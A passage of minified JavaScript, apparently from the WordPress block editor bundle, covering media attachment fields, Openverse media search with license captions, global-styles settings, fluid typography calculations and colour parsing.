t?t.length&gt;DV?(0,Pp.jsx)(tw.Tooltip,{text:t,children:(0,Pp.jsx)(tw.__experimentalTruncate,{limit:DV,ellipsizeMode:&quot;tail&quot;,children:t})}):(0,Pp.jsx)(Pp.Fragment,{children:t}):&quot;&quot;}var ope={id:&quot;filename&quot;,type:&quot;text&quot;,label:(0,VV.__)(&quot;File name&quot;),getValue:({item:e})=&gt;(0,jV.getFilename)(e?.source_url||&quot;&quot;),render:LV,enableSorting:!1,filterBy:!1,readOnly:!0},cI=ope;var $o=s(E(),1),UV=1024,HV=1024*UV,GV=1024*HV,WV=1024*GV,YV=1024*WV,qV=1024*YV,ZV=1024*qV,npe=1024*ZV;function zV(e,t,r=2){return(0,$o.sprintf)((0,$o._x)(&quot;%1$s %2$s&quot;,&quot;file size&quot;),e.toLocaleString(void 0,{minimumFractionDigits:0,maximumFractionDigits:r}),t)}function ipe(e,t=2){if(e===0)return zV(0,(0,$o._x)(&quot;B&quot;,&quot;unit symbol&quot;),t);let r={[(0,$o._x)(&quot;YB&quot;,&quot;unit symbol&quot;)]:npe,[(0,$o._x)(&quot;ZB&quot;,&quot;unit symbol&quot;)]:ZV,[(0,$o._x)(&quot;EB&quot;,&quot;unit symbol&quot;)]:qV,[(0,$o._x)(&quot;PB&quot;,&quot;unit symbol&quot;)]:YV,[(0,$o._x)(&quot;TB&quot;,&quot;unit symbol&quot;)]:WV,[(0,$o._x)(&quot;GB&quot;,&quot;unit symbol&quot;)]:GV,[(0,$o._x)(&quot;MB&quot;,&quot;unit symbol&quot;)]:HV,[(0,$o._x)(&quot;KB&quot;,&quot;unit symbol&quot;)]:UV,[(0,$o._x)(&quot;B&quot;,&quot;unit symbol&quot;)]:1};for(let[o,n]of Object.entries(r))if(e&gt;=n)return zV(e/n,o,t);return&quot;&quot;}var spe={id:&quot;filesize&quot;,type:&quot;text&quot;,label:(0,$o.__)(&quot;File size&quot;),getValue:({item:e})=&gt;e?.media_details?.filesize?ipe(e?.media_details?.filesize):&quot;&quot;,isVisible:e=&gt;!!e?.media_details?.filesize,enableSorting:!1,filterBy:!1,readOnly:!0},uI=spe;var kp=s(E(),1),ape={id:&quot;media_dimensions&quot;,type:&quot;text&quot;,label:(0,kp.__)(&quot;Dimensions&quot;),getValue:({item:e})=&gt;e?.media_details?.width&amp;&amp;e?.media_details?.height?(0,kp.sprintf)((0,kp._x)(&quot;%1$s \xD7 %2$s&quot;,&quot;image dimensions&quot;),e?.media_details?.width?.toString(),e?.media_details?.height?.toString()):&quot;&quot;,isVisible:e=&gt;!!(e?.media_details?.width&amp;&amp;e?.media_details?.height),enableSorting:!1,filterBy:!1,readOnly:!0},dI=ape;var KV=s(E(),1),lpe={id:&quot;mime_type&quot;,type:&quot;text&quot;,label:(0,KV.__)(&quot;File type&quot;),getValue:({item:e})=&gt;e?.mime_type||&quot;&quot;,render:({item:e})=&gt;e?.mime_type||&quot;-&quot;,enableSorting:!1,filterBy:!1,readOnly:!0},fI=lpe;var RG=s(E(),1);var PG=s(E(),1),$6=s($(),1),kG=s(O(),1),Ub=s(W(),1);var Ii=s(D(),1),Kp=s(O(),1),g6=s(E(),1),Ys=s(W(),1),Xp=s($(),1),Oj=s(ct(),1),Ij=s(Ls(),1),Nj=s(Xe(),1);var XV=s(D(),1),Ep=s(O(),1),QV=s(he(),1),JV=s($(),1);var rw=s(C(),1);function cpe(e,t,r){if(!r)return t;let o=e.get(t);return o||(o=(0,Ep.createRegistry)({&quot;core/block-editor&quot;:JV.storeConfig},t),o.registerStore(&quot;core/editor&quot;,Ay),e.set(t,o)),o}var upe=(0,QV.createHigherOrderComponent)(e=&gt;({useSubRegistry:t=!0,...r})=&gt;{let o=(0,Ep.useRegistry)(),[n]=(0,XV.useState)(()=&gt;new WeakMap),i=cpe(n,o,t);return i===o?(0,rw.jsx)(e,{registry:o,...r}):(0,rw.jsx)(Ep.RegistryProvider,{value:i,children:(0,rw.jsx)(e,{registry:i,...r})})},&quot;withRegistryProvider&quot;),$V=upe;var hf=s(D(),1),Bp=s(O(),1),Ai=s(W(),1),Z8=s(E(),1),K8=s(lt(),1),X8=s(he(),1),Q8=s(Xe(),1),mw=s($(),1);var ro=s(E(),1),e8=s(O(),1),ow=s(ft(),1),t8=s(W(),1),bu=(e,t)=&gt;`&lt;a ${pI(e)}&gt;${t}&lt;/a&gt;`,pI=e=&gt;`href=&quot;${e}&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;`,dpe=(e,t)=&gt;{let r=e.trim();return e!==&quot;pdm&quot;&amp;&amp;(r=e.toUpperCase().replace(&quot;SAMPLING&quot;,&quot;Sampling&quot;)),t&amp;&amp;(r+=` ${t}`),[&quot;pdm&quot;,&quot;cc0&quot;].includes(e)||(r=`CC ${r}`),r},fpe=e=&gt;{let{title:t,foreign_landing_url:r,creator:o,creator_url:n,license:i,license_version:a,license_url:l}=e,c=dpe(i,a),u=(0,ow.decodeEntities)(o),d;return u?d=t?(0,ro.sprintf)((0,ro._x)(&#039;&quot;%1$s&quot; by %2$s/ %3$s&#039;,&quot;caption&quot;),bu(r,(0,ow.decodeEntities)(t)),n?bu(n,u):u,l?bu(`${l}?ref=openverse`,c):c):(0,ro.sprintf)((0,ro._x)(&quot;&lt;a %1$s&gt;Work&lt;/a&gt; by %2$s/ %3$s&quot;,&quot;caption&quot;),pI(r),n?bu(n,u):u,l?bu(`${l}?ref=openverse`,c):c):d=t?(0,ro.sprintf)((0,ro._x)(&#039;&quot;%1$s&quot;/ %2$s&#039;,&quot;caption&quot;),bu(r,(0,ow.decodeEntities)(t)),l?bu(`${l}?ref=openverse`,c):c):(0,ro.sprintf)((0,ro._x)(&quot;&lt;a %1$s&gt;Work&lt;/a&gt;/ %2$s&quot;,&quot;caption&quot;),pI(r),l?bu(`${l}?ref=openverse`,c):c),d.replace(/\s{2}/g,&quot; &quot;)},mI=async(e={})=&gt;(await(0,e8.resolveSelect)(t8.store).getEntityRecords(&quot;postType&quot;,&quot;attachment&quot;,{...e,orderBy:e?.search?&quot;relevance&quot;:&quot;date&quot;})).map(r=&gt;({...r,alt:r.alt_text,url:r.source_url,previewUrl:r.media_details?.sizes?.medium?.source_url,caption:r.caption?.raw})),mpe=[{name:&quot;images&quot;,labels:{name:(0,ro.__)(&quot;Images&quot;),search_items:(0,ro.__)(&quot;Search images&quot;)},mediaType:&quot;image&quot;,async fetch(e={}){return mI({...e,media_type:&quot;image&quot;})}},{name:&quot;videos&quot;,labels:{name:(0,ro.__)(&quot;Videos&quot;),search_items:(0,ro.__)(&quot;Search videos&quot;)},mediaType:&quot;video&quot;,async fetch(e={}){return mI({...e,media_type:&quot;video&quot;})}},{name:&quot;audio&quot;,labels:{name:(0,ro.__)(&quot;Audio&quot;),search_items:(0,ro.__)(&quot;Search audio&quot;)},mediaType:&quot;audio&quot;,async fetch(e={}){return mI({...e,media_type:&quot;audio&quot;})}},{name:&quot;openverse&quot;,labels:{name:(0,ro.__)(&quot;Openverse&quot;),search_items:(0,ro.__)(&quot;Search Openverse&quot;)},mediaType:&quot;image&quot;,async fetch(e={}){let r={...e,...{mature:!1,excluded_source:&quot;flickr,inaturalist,wikimedia&quot;,license:&quot;pdm,cc0&quot;}},o={per_page:&quot;page_size&quot;,search:&quot;q&quot;},n=new URL(&quot;https://api.openverse.org/v1/images/&quot;);return Object.entries(r).forEach(([c,u])=&gt;{let d=o[c]||c;n.searchParams.set(d,u)}),(await(await window.fetch(n,{headers:{&quot;User-Agent&quot;:&quot;WordPress/inserter-media-fetch&quot;}})).json()).results.map(c=&gt;({...c,title:c.title?.toLowerCase().startsWith(&quot;file:&quot;)?c.title.slice(5):c.title,sourceId:c.id,id:void 0,caption:fpe(c),previewUrl:c.thumbnail}))},getReportUrl:({sourceId:e})=&gt;`https://wordpress.org/openverse/image/${e}/report/`,isExternalResource:!0}],r8=mpe;var o8=s(O(),1),n8=s(W(),1);function i8(e){let{invalidateResolution:t}=(0,o8.dispatch)(n8.store);for(let r of e)r.id&amp;&amp;(t(&quot;getEntityRecord&quot;,[&quot;postType&quot;,&quot;attachment&quot;,r.id,{context:&quot;view&quot;}]),t(&quot;getEntityRecord&quot;,[&quot;postType&quot;,&quot;attachment&quot;,r.id]))}var s8=s(Yd(),1);var{sideloadMedia:ppe}=N(s8.privateApis),a8=ppe;var l8=s(Qm(),1);async function c8(e){await(0,l8.default)({path:`/wp/v2/media/${e}/finalize`,method:&quot;POST&quot;})}var Y8=s($(),1),Np=s(W(),1),Fp=s(O(),1),Dp=s(D(),1);function Su(e,t,r){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};let o=t.pop(),n=e;for(let i of t){let a=n[i];n=n[i]=Array.isArray(a)?[...a]:{...a}}return n[o]=r,e}var Pt=(e,t,r)=&gt;{let o=Array.isArray(t)?t:t.split(&quot;.&quot;),n=e;return o.forEach(i=&gt;{n=n?.[i]}),n??r};var hpe=[&quot;appearanceTools&quot;,&quot;useRootPaddingAwareAlignments&quot;,&quot;background.backgroundImage&quot;,&quot;background.backgroundRepeat&quot;,&quot;background.backgroundSize&quot;,&quot;background.backgroundPosition&quot;,&quot;border.color&quot;,&quot;border.radius&quot;,&quot;border.radiusSizes&quot;,&quot;border.style&quot;,&quot;border.width&quot;,&quot;shadow.presets&quot;,&quot;shadow.defaultPresets&quot;,&quot;color.background&quot;,&quot;color.button&quot;,&quot;color.caption&quot;,&quot;color.custom&quot;,&quot;color.customDuotone&quot;,&quot;color.customGradient&quot;,&quot;color.defaultDuotone&quot;,&quot;color.defaultGradients&quot;,&quot;color.defaultPalette&quot;,&quot;color.duotone&quot;,&quot;color.gradients&quot;,&quot;color.heading&quot;,&quot;color.link&quot;,&quot;color.palette&quot;,&quot;color.text&quot;,&quot;custom&quot;,&quot;dimensions.aspectRatio&quot;,&quot;dimensions.height&quot;,&quot;dimensions.minHeight&quot;,&quot;dimensions.width&quot;,&quot;dimensions.dimensionSizes&quot;,&quot;layout.contentSize&quot;,&quot;layout.definitions&quot;,&quot;layout.wideSize&quot;,&quot;lightbox.enabled&quot;,&quot;lightbox.allowEditing&quot;,&quot;position.fixed&quot;,&quot;position.sticky&quot;,&quot;spacing.customSpacingSize&quot;,&quot;spacing.defaultSpacingSizes&quot;,&quot;spacing.spacingSizes&quot;,&quot;spacing.spacingScale&quot;,&quot;spacing.blockGap&quot;,&quot;spacing.margin&quot;,&quot;spacing.padding&quot;,&quot;spacing.units&quot;,&quot;typography.fluid&quot;,&quot;typography.customFontSize&quot;,&quot;typography.defaultFontSizes&quot;,&quot;typography.dropCap&quot;,&quot;typography.fontFamilies&quot;,&quot;typography.fontSizes&quot;,&quot;typography.fontStyle&quot;,&quot;typography.fontWeight&quot;,&quot;typography.letterSpacing&quot;,&quot;typography.lineHeight&quot;,&quot;typography.textAlign&quot;,&quot;typography.textColumns&quot;,&quot;typography.textDecoration&quot;,&quot;typography.textIndent&quot;,&quot;typography.textTransform&quot;,&quot;typography.writingMode&quot;];function mf(e,t,r){let o=r?&quot;.blocks.&quot;+r:&quot;&quot;,n=t?&quot;.&quot;+t:&quot;&quot;,i=`settings${o}${n}`,a=`settings${n}`;if(t)return Pt(e,i)??Pt(e,a);let l={};return hpe.forEach(c=&gt;{let u=Pt(e,`settings${o}.${c}`)??Pt(e,`settings.${c}`);u!==void 0&amp;&amp;(l=Su(l,c.split(&quot;.&quot;),u))}),l}function Oy(e,t,r,o){let n=o?&quot;.blocks.&quot;+o:&quot;&quot;,i=t?&quot;.&quot;+t:&quot;&quot;,a=`settings${n}${i}`;return Su(e,a.split(&quot;.&quot;),r)}var f8=s(hI(),1);var gpe=&quot;1600px&quot;,vpe=&quot;320px&quot;,ype=1,bpe=.25,Spe=.75,_pe=&quot;14px&quot;;function d8({minimumFontSize:e,maximumFontSize:t,fontSize:r,minimumViewportWidth:o=vpe,maximumViewportWidth:n=gpe,scaleFactor:i=ype,minimumFontSizeLimit:a}){if(a=Ea(a)?a:_pe,r){let S=Ea(r);if(!S?.unit||!S?.value)return null;let x=Ea(a,{coerceTo:S.unit});if(x?.value&amp;&amp;!e&amp;&amp;!t&amp;&amp;S?.value&lt;=x?.value)return null;if(t||(t=`${S.value}${S.unit}`),!e){let T=S.unit===&quot;px&quot;?S.value:S.value*16,R=Math.min(Math.max(1-.075*Math.log2(T),bpe),Spe),F=Iy(S.value*R,3);x?.value&amp;&amp;F&lt;x?.value?e=`${x.value}${x.unit}`:e=`${F}${S.unit}`}}let l=Ea(e),c=l?.unit||&quot;rem&quot;,u=Ea(t,{coerceTo:c});if(!l||!u)return null;let d=Ea(e,{coerceTo:&quot;rem&quot;}),f=Ea(n,{coerceTo:c}),m=Ea(o,{coerceTo:c});if(!f||!m||!d)return null;let h=f.value-m.value;if(!h)return null;let g=Iy(m.value/100,3),v=Iy(g,3)+c,y=100*((u.value-l.value)/h),b=Iy((y||1)*i,3),_=`${d.value}${d.unit} + ((1vw - ${v}) * ${b})`;return`clamp(${e}, ${_}, ${t})`}function Ea(e,t={}){if(typeof e!=&quot;string&quot;&amp;&amp;typeof e!=&quot;number&quot;)return null;isFinite(e)&amp;&amp;(e=`${e}px`);let{coerceTo:r,rootSizeValue:o,acceptableUnits:n}={coerceTo:&quot;&quot;,rootSizeValue:16,acceptableUnits:[&quot;rem&quot;,&quot;px&quot;,&quot;em&quot;],...t},i=n?.join(&quot;|&quot;),a=new RegExp(`^(\\d*\\.?\\d+)(${i}){1,1}$`),l=e.toString().match(a);if(!l||l.length&lt;3)return null;let[,c,u]=l,d=parseFloat(c);return r===&quot;px&quot;&amp;&amp;(u===&quot;em&quot;||u===&quot;rem&quot;)&amp;&amp;(d=d*o,u=r),u===&quot;px&quot;&amp;&amp;(r===&quot;em&quot;||r===&quot;rem&quot;)&amp;&amp;(d=d/o,u=r),(r===&quot;em&quot;||r===&quot;rem&quot;)&amp;&amp;(u===&quot;em&quot;||u===&quot;rem&quot;)&amp;&amp;(u=r),u?{value:Iy(d,3),unit:u}:null}function Iy(e,t=3){let r=Math.pow(10,t);return Math.round(e*r)/r}function gI(e){let t=e?.fluid;return t===!0||t&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;Object.keys(t).length&gt;0}function wpe(e){let t=e?.typography??{},r=e?.layout,o=Ea(r?.wideSize)?r?.wideSize:null;return gI(t)&amp;&amp;o?{fluid:{maxViewportWidth:o,...typeof t.fluid==&quot;object&quot;?t.fluid:{}}}:{fluid:t?.fluid}}function nw(e,t){let{size:r}=e;if(!r||r===&quot;0&quot;||e?.fluid===!1||!gI(t?.typography)&amp;&amp;!gI(e))return r;let o=wpe(t)?.fluid??{},n=d8({minimumFontSize:typeof e?.fluid==&quot;boolean&quot;?void 0:e?.fluid?.min,maximumFontSize:typeof e?.fluid==&quot;boolean&quot;?void 0:e?.fluid?.max,fontSize:r,minimumFontSizeLimit:typeof o==&quot;object&quot;?o?.minFontSize:void 0,maximumViewportWidth:typeof o==&quot;object&quot;?o?.maxViewportWidth:void 0,minimumViewportWidth:typeof o==&quot;object&quot;?o?.minViewportWidth:void 0});return n||r}var Ra=&quot;body&quot;,Ny=&quot;:root&quot;,Rp=[{path:[&quot;color&quot;,&quot;palette&quot;],valueKey:&quot;color&quot;,cssVarInfix:&quot;color&quot;,classes:[{classSuffix:&quot;color&quot;,propertyName:&quot;color&quot;},{classSuffix:&quot;background-color&quot;,propertyName:&quot;background-color&quot;},{classSuffix:&quot;border-color&quot;,propertyName:&quot;border-color&quot;}]},{path:[&quot;color&quot;,&quot;gradients&quot;],valueKey:&quot;gradient&quot;,cssVarInfix:&quot;gradient&quot;,classes:[{classSuffix:&quot;gradient-background&quot;,propertyName:&quot;background&quot;}]},{path:[&quot;color&quot;,&quot;duotone&quot;],valueKey:&quot;colors&quot;,cssVarInfix:&quot;duotone&quot;,valueFunc:({slug:e})=&gt;`url( &#039;#wp-duotone-${e}&#039; )`,classes:[]},{path:[&quot;shadow&quot;,&quot;presets&quot;],valueKey:&quot;shadow&quot;,cssVarInfix:&quot;shadow&quot;,classes:[]},{path:[&quot;typography&quot;,&quot;fontSizes&quot;],valueFunc:(e,t)=&gt;nw(e,t),valueKey:&quot;size&quot;,cssVarInfix:&quot;font-size&quot;,classes:[{classSuffix:&quot;font-size&quot;,propertyName:&quot;font-size&quot;}]},{path:[&quot;typography&quot;,&quot;fontFamilies&quot;],valueKey:&quot;fontFamily&quot;,cssVarInfix:&quot;font-family&quot;,classes:[{classSuffix:&quot;font-family&quot;,propertyName:&quot;font-family&quot;}]},{path:[&quot;spacing&quot;,&quot;spacingSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;spacing&quot;,valueFunc:({size:e})=&gt;e,classes:[]},{path:[&quot;border&quot;,&quot;radiusSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;border-radius&quot;,classes:[]},{path:[&quot;dimensions&quot;,&quot;dimensionSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;dimension&quot;,classes:[]}];function Us(e,t){if(!e||!t)return t;let r=e.split(&quot;,&quot;),o=t.split(&quot;,&quot;),n=[];return r.forEach(i=&gt;{o.forEach(a=&gt;{n.push(`${i.trim()} ${a.trim()}`)})}),n.join(&quot;, &quot;)}function m8(e,t){if(!e||!t)return;let r={};return Object.entries(t).forEach(([o,n])=&gt;{typeof n==&quot;string&quot;&amp;&amp;(r[o]=Us(e,n)),typeof n==&quot;object&quot;&amp;&amp;(r[o]={},Object.entries(n).forEach(([i,a])=&gt;{r[o][i]=Us(e,a)}))}),r}function p8(e,t){return e.includes(&quot;,&quot;)?e.split(&quot;,&quot;).map(n=&gt;n+t).join(&quot;,&quot;):e+t}function h8(e,t){let r=`.is-style-${e}`;if(!t)return r;let o=/((?::\([^)]+\))?\s*)([^\s:]+)/,n=(a,l,c)=&gt;l+c+r;return t.split(&quot;,&quot;).map(a=&gt;a.replace(o,n)).join(&quot;,&quot;)}function xpe(e,t){if(!e||!t)return e;if(typeof e==&quot;object&quot;&amp;&amp;&quot;ref&quot;in e&amp;&amp;e?.ref){let r=(0,f8.getCSSValueFromRawStyle)(Pt(t,e.ref));return typeof r==&quot;object&quot;&amp;&amp;r!==null&amp;&amp;&quot;ref&quot;in r&amp;&amp;r?.ref?void 0:r===void 0?e:r}return e}function Cpe(e,t){if(!e||!t||!Array.isArray(t))return e;let r=t.find(o=&gt;o?.name===e);return r?.href?r?.href:e}function vI(e,t){if(!e||!t)return e;let r=xpe(e,t);return typeof r==&quot;object&quot;&amp;&amp;r!==null&amp;&amp;&quot;url&quot;in r&amp;&amp;r?.url&amp;&amp;(r.url=Cpe(r.url,t?._links?.[&quot;wp:theme-file&quot;])),r}function g8(e,t,r=[],o=&quot;slug&quot;,n){let i=[t?Pt(e,[&quot;blocks&quot;,t,...r]):void 0,Pt(e,r)].filter(Boolean);for(let a of i)if(a){let l=[&quot;custom&quot;,&quot;theme&quot;,&quot;default&quot;];for(let c of l){let u=a[c];if(u){let d=u.find(f=&gt;f[o]===n);if(d)return o===&quot;slug&quot;||g8(e,t,r,&quot;slug&quot;,d.slug)[o]===d[o]?d:void 0}}}}function Tpe(e,t,r,[o,n]=[]){let i=Rp.find(l=&gt;l.cssVarInfix===o);if(!i||!e.settings)return r;let a=g8(e.settings,t,i.path,&quot;slug&quot;,n);if(a){let{valueKey:l}=i,c=a[l];return iw(e,t,c)}return r}function Ppe(e,t,r,o=[]){let n=(t?Pt(e?.settings??{},[&quot;blocks&quot;,t,&quot;custom&quot;,...o]):void 0)??Pt(e?.settings??{},[&quot;custom&quot;,...o]);return n?iw(e,t,n):r}function iw(e,t,r){if(!r||typeof r!=&quot;string&quot;)if(typeof r==&quot;object&quot;&amp;&amp;r!==null&amp;&amp;&quot;ref&quot;in r&amp;&amp;typeof r.ref==&quot;string&quot;){let u=Pt(e,r.ref);if(!u||typeof u==&quot;object&quot;&amp;&amp;&quot;ref&quot;in u)return u;r=u}else return r;let o=&quot;var:&quot;,n=&quot;var(--wp--&quot;,i=&quot;)&quot;,a;if(r.startsWith(o))a=r.slice(o.length).split(&quot;|&quot;);else if(r.startsWith(n)&amp;&amp;r.endsWith(i))a=r.slice(n.length,-i.length).split(&quot;--&quot;);else return r;let[l,...c]=a;return l===&quot;preset&quot;?Tpe(e,t,r,c):l===&quot;custom&quot;?Ppe(e,t,r,c):r}function Fy(e,t,r,o=!0){let n=t?&quot;.&quot;+t:&quot;&quot;,i=r?`styles.blocks.${r}${n}`:`styles${n}`;if(!e)return;let a=Pt(e,i);return o?iw(e,r,a):a}function Dy(e,t,r,o){let n=t?&quot;.&quot;+t:&quot;&quot;,i=o?`styles.blocks.${o}${n}`:`styles${n}`;return Su(e,i.split(&quot;.&quot;),r)}var bI=s(yI(),1);function pf(e,t){return typeof e!=&quot;object&quot;||typeof t!=&quot;object&quot;?e===t:(0,bI.default)(e?.styles,t?.styles)&amp;&amp;(0,bI.default)(e?.settings,t?.settings)}var x8=s(sw(),1);function _8(e){return Object.prototype.toString.call(e)===&quot;[object Object]&quot;}function w8(e){var t,r;return _8(e)===!1?!1:(t=e.constructor,t===void 0?!0:(r=t.prototype,!(_8(r)===!1||r.hasOwnProperty(&quot;isPrototypeOf&quot;)===!1)))}function go(e,t){return(0,x8.default)(e,t,{isMergeableObject:w8,customMerge:r=&gt;{if(r===&quot;backgroundImage&quot;)return(o,n)=&gt;n??o}})}function C8(e,t){var r=0,o,n;t=t||{};function i(){var a=o,l=arguments.length,c,u;e:for(;a;){if(a.args.length!==arguments.length){a=a.next;continue}for(u=0;u&lt;l;u++)if(a.args[u]!==arguments[u]){a=a.next;continue e}return a!==o&amp;&amp;(a===n&amp;&amp;(n=a.prev),a.prev.next=a.next,a.next&amp;&amp;(a.next.prev=a.prev),a.next=o,a.prev=null,o.prev=a,o=a),a.val}for(c=new Array(l),u=0;u&lt;l;u++)c[u]=arguments[u];return a={args:c,val:e.apply(null,c)},o?(o.prev=a,a.next=o):n=a,r===t.maxSize?(n=n.prev,n.next=null):r++,o=a,a.val}return i.clear=function(){o=null,n=null,r=0},i}var mt=s(E(),1),T8=s(Xe(),1),aw=new Map,jpe=[],SI={caption:(0,mt.__)(&quot;Caption&quot;),link:(0,mt.__)(&quot;Link&quot;),button:(0,mt.__)(&quot;Button&quot;),heading:(0,mt.__)(&quot;Heading&quot;),h1:(0,mt.__)(&quot;H1&quot;),h2:(0,mt.__)(&quot;H2&quot;),h3:(0,mt.__)(&quot;H3&quot;),h4:(0,mt.__)(&quot;H4&quot;),h5:(0,mt.__)(&quot;H5&quot;),h6:(0,mt.__)(&quot;H6&quot;),&quot;settings.color&quot;:(0,mt.__)(&quot;Color&quot;),&quot;settings.typography&quot;:(0,mt.__)(&quot;Typography&quot;),&quot;settings.shadow&quot;:(0,mt.__)(&quot;Shadow&quot;),&quot;settings.layout&quot;:(0,mt.__)(&quot;Layout&quot;),&quot;styles.color&quot;:(0,mt.__)(&quot;Colors&quot;),&quot;styles.spacing&quot;:(0,mt.__)(&quot;Spacing&quot;),&quot;styles.background&quot;:(0,mt.__)(&quot;Background&quot;),&quot;styles.typography&quot;:(0,mt.__)(&quot;Typography&quot;)},zpe=C8(()=&gt;(0,T8.getBlockTypes)().reduce((e,{name:t,title:r})=&gt;(e[t]=r,e),{})),lw=e=&gt;e!==null&amp;&amp;typeof e==&quot;object&quot;;function Upe(e){if(SI[e])return SI[e];let t=e.split(&quot;.&quot;);if(t?.[0]===&quot;blocks&quot;)return zpe()?.[t[1]]||t[1];if(t?.[0]===&quot;elements&quot;)return SI[t[1]]||t[1]}function P8(e,t,r=&quot;&quot;){if(!lw(e)&amp;&amp;!lw(t))return e!==t?r.split(&quot;.&quot;).slice(0,2).join(&quot;.&quot;):void 0;e=lw(e)?e:{},t=lw(t)?t:{};let o=new Set([...Object.keys(e),...Object.keys(t)]),n=[];for(let i of o){let a=r?r+&quot;.&quot;+i:i,l=P8(e[i],t[i],a);l&amp;&amp;(n=n.concat(l))}return n}function Hpe(e,t){let r=JSON.stringify({next:e,previous:t});if(aw.has(r))return aw.get(r);let o=P8({styles:{background:e?.styles?.background,color:e?.styles?.color,typography:e?.styles?.typography,spacing:e?.styles?.spacing},blocks:e?.styles?.blocks,elements:e?.styles?.elements,settings:e?.settings},{styles:{background:t?.styles?.background,color:t?.styles?.color,typography:t?.styles?.typography,spacing:t?.styles?.spacing},blocks:t?.styles?.blocks,elements:t?.styles?.elements,settings:t?.settings});if(!o||Array.isArray(o)&amp;&amp;!o.length)return aw.set(r,[]),[];let n=Array.isArray(o)?o:[o],i=[...new Set(n)].reduce((a,l)=&gt;{let c=Upe(l);return c&amp;&amp;a.push([l.split(&quot;.&quot;)[0],c]),a},[]);return aw.set(r,i),i}function My(e,t,r={}){let o=Hpe(e,t),n=o.length,{maxResults:i}=r;return n?(i&amp;&amp;n&gt;i&amp;&amp;(o=o.slice(0,i)),Object.entries(o.reduce((a,l)=&gt;{let c=a[l[0]]||[];return c.includes(l[1])||(a[l[0]]=[...c,l[1]]),a},{})).map(([a,l])=&gt;{let c=l.length,u=l.join((0,mt.__)(&quot;, &quot;));switch(a){case&quot;blocks&quot;:return(0,mt.sprintf)((0,mt._n)(&quot;%s block.&quot;,&quot;%s blocks.&quot;,c),u);case&quot;elements&quot;:return(0,mt.sprintf)((0,mt._n)(&quot;%s element.&quot;,&quot;%s elements.&quot;,c),u);case&quot;settings&quot;:return(0,mt.sprintf)((0,mt.__)(&quot;%s settings.&quot;),u);case&quot;styles&quot;:return(0,mt.sprintf)((0,mt.__)(&quot;%s styles.&quot;),u);default:return(0,mt.sprintf)((0,mt.__)(&quot;%s.&quot;),u)}})):jpe}var en=s(Xe(),1),Vy=s(hI(),1),G8=s(O(),1);function Op(e,t=&quot;root&quot;,r={}){if(!t)return null;let{fallback:o=!1}=r,{name:n,selectors:i,supports:a}=e,l=i&amp;&amp;Object.keys(i).length&gt;0,c=Array.isArray(t)?t.join(&quot;.&quot;):t,u=null;if(l&amp;&amp;i.root?u=i?.root:a?.__experimentalSelector?u=a.__experimentalSelector:u=&quot;.wp-block-&quot;+n.replace(&quot;core/&quot;,&quot;&quot;).replace(&quot;/&quot;,&quot;-&quot;),c===&quot;root&quot;)return u;let d=Array.isArray(t)?t:t.split(&quot;.&quot;);if(d.length===1){let m=o?u:null;if(l)return Pt(i,`${c}.root`,null)||Pt(i,c,null)||m;let h=a?Pt(a,`${c}.__experimentalSelector`,null):void 0;return h?Us(u,h):m}let f;return l&amp;&amp;(f=Pt(i,c,null)),f||(o?Op(e,d[0],r):null)}var Gpe={grad:.9,turn:360,rad:360/(2*Math.PI)},Wl=function(e){return typeof e==&quot;string&quot;?e.length&gt;0:typeof e==&quot;number&quot;},vo=function(e,t,r){return t===void 0&amp;&amp;(t=0),r===void 0&amp;&amp;(r=Math.pow(10,t)),Math.round(r*e)/r+0},es=function(e,t,r){return t===void 0&amp;&amp;(t=0),r===void 0&amp;&amp;(r=1),e&gt;r?r:e&gt;t?e:t},F8=function(e){return(e=isFinite(e)?e%360:0)&gt;0?e:e+360},k8=function(e){return{r:es(e.r,0,255),g:es(e.g,0,255),b:es(e.b,0,255),a:es(e.a)}},_I=function(e){return{r:vo(e.r),g:vo(e.g),b:vo(e.b),a:vo(e.a,3)}},Wpe=/^#([0-9a-f]{3,8})$/i,cw=function(e){var t=e.toString(16);return t.length&lt;2?&quot;0&quot;+t:t},D8=function(e){var t=e.r,r=e.g,o=e.b,n=e.a,i=Math.max(t,r,o),a=i-Math.min(t,r,o),l=a?i===t?(r-o)/a:i===r?2+(o-t)/a:4+(t-r)/a:0;return{h:60*(l&lt;0?l+6:l),s:i?a/i*100:0,v:i/255*100,a:n}},B8=function(e){var t=e.h,r=e.s,o=e.v,n=e.a;t=t/360*6,r/=100,o/=100;var i=Math.floor(t),a=o*(1-r),l=o*(1-(t-i)*r),c=o*(1-(1-t+i)*r),u=i%6;return{r:255*[o,l,a,a,c,o][u],g:255*[c,o,o,l,a,a][u],b:255*[a,a,c,o,o,l][u],a:n}},E8=function(e){return{h:F8(e.h),s:es(e.s,0,100),l:es(e.l,0,100),a:es(e.a)}},R8=function(e){return{h:vo(e.h),s:vo(e.s),l:vo(e.l),a:vo(e.a,3)}},A8=function(e){return B8((r=(t=e).s,{h:t.h,s:(r*=((o=t.l)&lt;50?o:100-o)/100)&gt;0?2*r/(o+r)*100:0,v:o+r,a:t.a}));var t,r,o},Ly=function(e){return{h:(t=D8(e)).h,s:(n=(200-(r=t.s))*(o=t.v)/100)&gt;0&amp;&amp;n&lt;200?r*o/100/(n&lt;=100?n:200-n)*100:0,l:n/2,a:t.a};var t,r,o,n},Ype=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,qpe=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Zpe=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Kpe=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,CI={string:[[function(e){var t=Wpe.exec(e);return 